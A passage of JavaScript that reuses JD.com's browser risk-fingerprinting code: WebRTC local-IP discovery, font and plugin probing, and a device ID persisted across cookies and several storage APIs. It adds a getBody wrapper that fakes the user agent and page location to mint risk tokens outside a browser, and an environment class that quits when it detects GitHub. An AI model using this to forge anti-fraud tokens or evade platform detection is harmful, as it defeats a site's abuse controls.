9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" - .split(" ").map(function (v) { - return parseInt(v, 16) - }) - } - - mac(v) { - for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; - return (x ^ -1) >>> 0 - } -} - -var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", - _JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", - _url_query_str = "", - _root_domain = "", - _CurrentPageUrl = function () { - var t = document.location.href.toString(); - try { - _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] - } catch (v) { - } - var u = t.indexOf("?"); - 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( - 0, 499)), t = t.substring(0, u)); - return t = t.substring(_CurrentPageProtocol.length) - }(), - jd_shadow__ = function () { - try { - var t = JDDSecCryptoJS, - u = []; - u.push(_CurrentPageUrl); - var v = t.lib.UUID.generateUuid(); - u.push(v); - var x = (new Date).getTime(); - u.push(x); - var w = t.SHA1(u.join("")).toString().toUpperCase(); - u = []; - u.push("JD3"); - u.push(w); - var A = (new JDDMAC).mac(u.join("")); - u.push(A); - var y = t.enc.Hex.parse("30313233343536373839616263646566"), - n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), - e = u.join(""); - return t.AES.encrypt(t.enc.Utf8.parse(e), n, { - mode: t.mode.CBC, - padding: t.pad.Pkcs7, - iv: y - }).ciphertext.toString(t.enc.Base32) - } catch (f) { - console.log(f) - } - }() -var td_collect = new function () { - function t() { - var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; - if (n) { - var e = function (k) { - var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, - m = - /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; - try { - var a = g.exec(k); - if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); - var b = a[1]; - void 0 === f[b] && w.push(b); - f[b] = !0 - } catch (c) { - } - }, - f = {}; - try { - var r = new n({ - iceServers: [{ - url: "stun:stun.services.mozilla.com" - }] - }) - } catch (k) { - } - try { - void 0 === r && (r = new n({ - iceServers: [] - })) - } catch (k) { - } - if (r || window.mozRTCPeerConnection) try { - r.createDataChannel("chat", { - reliable: !1 - }) - } catch (k) { - } - r && (r.onicecandidate = function (k) { - k.candidate && e(k.candidate.candidate) - }, r.createOffer(function (k) { - r.setLocalDescription(k, function () { - }, function () { - }) - }, function () { - }), setTimeout(function () { - try { - r.localDescription.sdp.split("\n").forEach(function (k) { - 0 === k.indexOf("a=candidate:") && e(k) - }) - } catch (k) { - } - }, 800)) - } - } - - function u(n) { - var e; - return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" - } - - function v() { - function n(g) { - var m = {}; - r.style.fontFamily = g; - document.body.appendChild(r); - m.height = r.offsetHeight; - m.width = r.offsetWidth; - document.body.removeChild(r); - return m - } - - var e = ["monospace", "sans-serif", "serif"], - f = [], - r = document.createElement("span"); - r.style.fontSize = "72px"; - r.style.visibility = "hidden"; - r.innerHTML = "mmmmmmmmmmlli"; - for (var k = 0; k < e.length; k++) f[k] = n(e[k]); - this.checkSupportFont = function (g) { - for (var m = 0; m < f.length; m++) { - var a = n(g + "," + e[m]), - b = f[m]; - if (a.height !== b.height || a.width !== b.width) return !0 - } - return !1 - } - } - - function x(n) { - var e = {}; - e.name = n.name; - e.filename = n.filename.toLowerCase(); - e.description = n.description; - void 0 !== n.version && (e.version = n.version); - e.mimeTypes = []; - for (var f = 0; f < n.length; f++) { - var r = n[f], - k = {}; - k.description = r.description; - k.suffixes = r.suffixes; - k.type = r.type; - e.mimeTypes.push(k) - } - return e - } - - this.bizId = ""; - this.bioConfig = { - type: "42", - operation: 1, - duraTime: 2, - interval: 50 - }; - this.worder = null; - this.deviceInfo = { - userAgent: "", - isJdApp: !1, - isJrApp: !1, - sdkToken: "", - fp: "", - eid: "" - }; - this.isRpTok = !1; - this.obtainLocal = function (n) { - n = "undefined" !== typeof n && n ? !0 : !1; - var e = {}; - try { - var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); - 0 !== f.length && (e.cookie = f) - } catch (k) { - } - try { - window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = - window.localStorage.getItem("3AB9D23F7A4B3C9B")) - } catch (k) { - } - try { - window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ - "3AB9D23F7A4B3C9B"]) - } catch (k) { - } - try { - p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) - } catch (k) { - } - try { - d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( - "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) - } catch (k) { - } - try { - E.indexedDbId && (e.indexedDb = E.indexedDbId) - } catch (k) { - } - try { - E.webDbId && (e.webDb = E.webDbId) - } catch (k) { - } - try { - for (var r in e) - if (32 < e[r].length) { - _JdEid = e[r]; - n || (_eidFlag = !0); - break - } - } catch (k) { - } - try { - ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); - if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); - if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 - } catch (k) { - } - return _JdEid - }; - var w = [], - A = - "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" - .split(";"), - y = - "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" - .split(";"); - this.toJson = "object" === typeof JSON && JSON.stringify; - this.init = function () { - _fingerprint_step = 6; - t(); - _fingerprint_step = 7; - "function" !== typeof this.toJson && (this.toJson = function (n) { - var e = typeof n; - if ("undefined" === e || null === n) return "null"; - if ("number" === e || "boolean" === e) return n + ""; - if ("object" === e && n && n.constructor === Array) { - e = []; - for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); - return "[" + (e + "]") - } - if ("object" === e) { - e = []; - for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); - return "{" + (e + "}") - } - }); - this.sdkCollectInit() - }; - this.sdkCollectInit = function () { - try { - try { - bp_bizid && (this.bizId = bp_bizid) - } catch (f) { - this.bizId = "jsDefault" - } - var n = navigator.userAgent.toLowerCase(), - e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); - this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); - this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); - this.deviceInfo.userAgent = navigator.userAgent; - this.deviceInfo.isAndroid = e; - this.createWorker() - } catch (f) { - } - }; - this.db = function (n, e) { - try { - _fingerprint_step = "m"; - if (window.openDatabase) { - var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); - void 0 !== e && "" != e ? f.transaction(function (r) { - r.executeSql( - "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", - [], - function (k, g) { - }, - function (k, g) { - }); - r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], - function (k, g) { - }, - function (k, g) { - }) - }) : f.transaction(function (r) { - r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { - 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) - }, function (k, g) { - }) - }) - } - _fingerprint_step = "n" - } catch (r) { - } - }; - this.setCookie = function (n, e) { - void 0 !== e && "" != e && (document.cookie = n + "=" + e + - "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) - }; - this.tdencrypt = function (n) { - n = this.toJson(n); - n = encodeURIComponent(n); - var e = "", - f = 0; - do { - var r = n.charCodeAt(f++); - var k = n.charCodeAt(f++); - var g = n.charCodeAt(f++); - var m = r >> 2; - r = (r & 3) << 4 | k >> 4; - var a = (k & 15) << 2 | g >> 6; - var b = g & 63; - isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); - e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); - q = ["devicePixelRatio", "screenTop", "screenLeft"]; - l = {}; - for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); - e.p = h; - e.w = l; - e.s = z; - e.sc = f; - e.tz = n.getTimezoneOffset(); - e.lil = w.sort().join("|"); - e.wil = ""; - f = {}; - try { - f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! - window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB - } catch (D) { - } - e.ss = f; - e.ts.deviceTime = n.getTime(); - e.ts.deviceEndTime = (new Date).getTime(); - return this.tdencrypt(e) - }; - this.collectSdk = function (n) { - try { - var e = this, - f = !1, - r = e.getLocal("BATQW722QTLYVCRD"); - if (null != r && void 0 != r && "" != r) try { - var k = JSON.parse(r), - g = (new Date).getTime(); - null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && - null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, - f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = - k.tk)) - } catch (m) { - } - r = !1; - e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( - e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { - e.deviceInfo.sdkToken = m; - null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) - })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( - /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, - "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { - e.deviceInfo.sdkToken = m; - null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) - })); - "function" == typeof n && n(e.deviceInfo) - } catch (m) { - } - }; - this.compareVersion = function (n, e) { - try { - if (n === e) return 0; - var f = n.split("."); - var r = e.split("."); - for (n = 0; n < f.length; n++) { - var k = parseInt(f[n]); - if (!r[n]) return 1; - var g = parseInt(r[n]); - if (k < g) break; - if (k > g) return 1 - } - } catch (m) { - } - return -1 - }; - this.isWKWebView = function () { - return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 - }; - this.getErrorToken = function (n) { - try { - if (n) { - var e = (n + "").match(/"token":"(.*?)"/); - if (e && 1 < e.length) return e[1] - } - } catch (f) { - } - return "" - }; - this.getJdJrBioToken = function (n) { - var e = this; - "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e - .compareVersion(JrBridge._version, "2.0.0") ? console.error( - "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ - type: e.bioConfig.type, - operation: e.bioConfig.operation, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval - } - }, function (f) { - try { - "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token - } catch (r) { - console.error(r) - } - null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { - tk: e.deviceInfo.sdkToken, - t: (new Date).getTime() - }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) - })) - }; - this.getJdJrSdkCacheToken = function (n) { - var e = this; - try { - "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > - e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ - type: e.bioConfig.type, - operation: 5, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval - } - }, function (f) { - var r = ""; - try { - "object" != typeof f && (f = JSON.parse(f)), r = f.token - } catch (k) { - console.error(k) - } - null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { - tk: r, - t: (new Date).getTime() - }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) - }) - } catch (f) { - } - }; - this.getJdBioToken = function (n) { - var e = this; - n = JSON.stringify({ - businessType: "bridgeBiologicalProbe", - callBackName: "_bioDeviceCb", - params: { - pin: "", - jsonData: { - type: e.bioConfig.type, - operation: e.bioConfig.operation, - data: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval - }, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval - } - } - } - }); - e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ - method: "notifyMessageToNative", - params: n - }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); - window._bioDeviceCb = function (f) { - try { - var r = "object" == typeof f ? f : JSON.parse(f); - if (void 0 != r && null != r && "0" != r.status) return; - null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = - r.data.token) - } catch (k) { - f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) - } - null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { - tk: e.deviceInfo.sdkToken, - t: (new Date).getTime() - }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) - } - }; - this.getJdSdkCacheToken = function (n) { - try { - var e = this, - f = JSON.stringify({ - businessType: "bridgeBiologicalProbe", - callBackName: "_bioDeviceSdkCacheCb", - params: { - pin: "", - jsonData: { - type: e.bioConfig.type, - operation: 5, - data: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval - }, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval - } - } - } - }); - e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ - method: "notifyMessageToNative", - params: f - }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); - window._bioDeviceSdkCacheCb = function (r) { - var k = ""; - try { - var g = "object" == typeof r ? r : JSON.parse(r); - if (void 0 != g && null != g && "0" != g.status) return; - k = g.data.token - } catch (m) { - k = e.getErrorToken(r) - } - null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { - tk: k, - t: (new Date).getTime() - }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) - } - } catch (r) { - } - }; - this.store = function (n, e) { - try { - this.setCookie(n, e) - } catch (f) { - } - try { - window.localStorage && window.localStorage.setItem(n, e) - } catch (f) { - } - try { - window.sessionStorage && window.sessionStorage.setItem(n, e) - } catch (f) { - } - try { - window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) - } catch (f) { - } - try { - this.db(n, _JdEid) - } catch (f) { - } - }; - this.getLocal = function (n) { - var e = {}, - f = null; - try { - var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), - "$1"); - 0 !== r.length && (e.cookie = r) - } catch (g) { - } - try { - window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = - window.localStorage.getItem(n)) - } catch (g) { - } - try { - window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ - n]) - } catch (g) { - } - try { - p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) - } catch (g) { - } - try { - d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( - "jdgia_user_data"), e.userData = d.getAttribute(n)) - } catch (g) { - } - try { - E.indexedDbId && (e.indexedDb = E.indexedDbId) - } catch (g) { - } - try { - E.webDbId && (e.webDb = E.webDbId) - } catch (g) { - } - try { - for (var k in e) - if (32 < e[k].length) { - f = e[k]; - break - } - } catch (g) { - } - try { - if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) - } catch (g) { - } - return f - }; - this.createWorker = function () { - if (window.Worker) { - try { - var n = new Blob([ - "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" - ], { - type: "application/javascript" - }) - } catch (e) { - window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = - new BlobBuilder, n.append( - "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" - ), n = n.getBlob() - } - try { - this.worker = new Worker(URL.createObjectURL(n)) - } catch (e) { - } - } - }; - this.reportWorker = function (n, e, f, r) { - try { - null != this.worker && (this.worker.postMessage(JSON.stringify({ - url: n, - data: e, - success: !1, - async: !1 - })), this.worker.onmessage = function (k) { - }) - } catch (k) { - } - } -}; - -function td_collect_exe() { - _fingerprint_step = 8; - var t = td_collect.collect(); - td_collect.collectSdk(); - var u = "string" === typeof orderId ? orderId : "", - v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; - u = { - pin: _jdJrTdCommonsObtainPin(v), - oid: u, - p: "https:" == document.location.protocol ? "s" : "h", - fp: risk_jd_local_fingerprint, - ctype: v, - v: "2.7.10.4", - f: "3" - }; - try { - u.o = _CurrentPageUrl, u.qs = _url_query_str - } catch (w) { - } - _fingerprint_step = 9; - 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); - u.fc = _JdEid; - try { - u.t = jd_risk_token_id - } catch (w) { - } - try { - if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; - else { - var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); - u.qi = void 0 == x ? "" : x - } - } catch (w) { - } - "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); - try { - td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != - td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : - td_collect.isRpTok = !1 - } catch (w) { - td_collect.isRpTok = !1 - } - x = td_collect.tdencrypt(u); - // console.log(u) - return {a: x, d: t} -} - -function _jdJrTdCommonsObtainPin(t) { - var u = ""; - "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : - "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); - return u -}; - -function getBody(userAgent, url = document.location.href) { - navigator.userAgent = userAgent - let href = url - let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) - let [, origin, protocol, host, pathname] = choose; - document.location.href = href - document.location.origin = origin - document.location.protocol = protocol - document.location.host = host - document.location.pathname = pathname - const JF = new JdJrTdRiskFinger(); - let fp = JF.f.get(function (t) { - risk_jd_local_fingerprint = t - return t - }); - let arr = td_collect_exe() - return {fp, ...arr} -} - - -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - - class s { - constructor(t) { - this.env = t - } - - send(t, e = "GET") { - t = "string" == typeof t ? {url: t} : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - - get(t) { - return this.send.call(this.env, t) - } - - post(t) { - return this.send.call(this.env, t, "POST") - } - } - - return new class { - constructor(t, e) { - this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) - } - - isNode() { - return "undefined" != typeof module && !!module.exports - } - - isQuanX() { - return "undefined" != typeof $task - } - - isSurge() { - return "undefined" != typeof 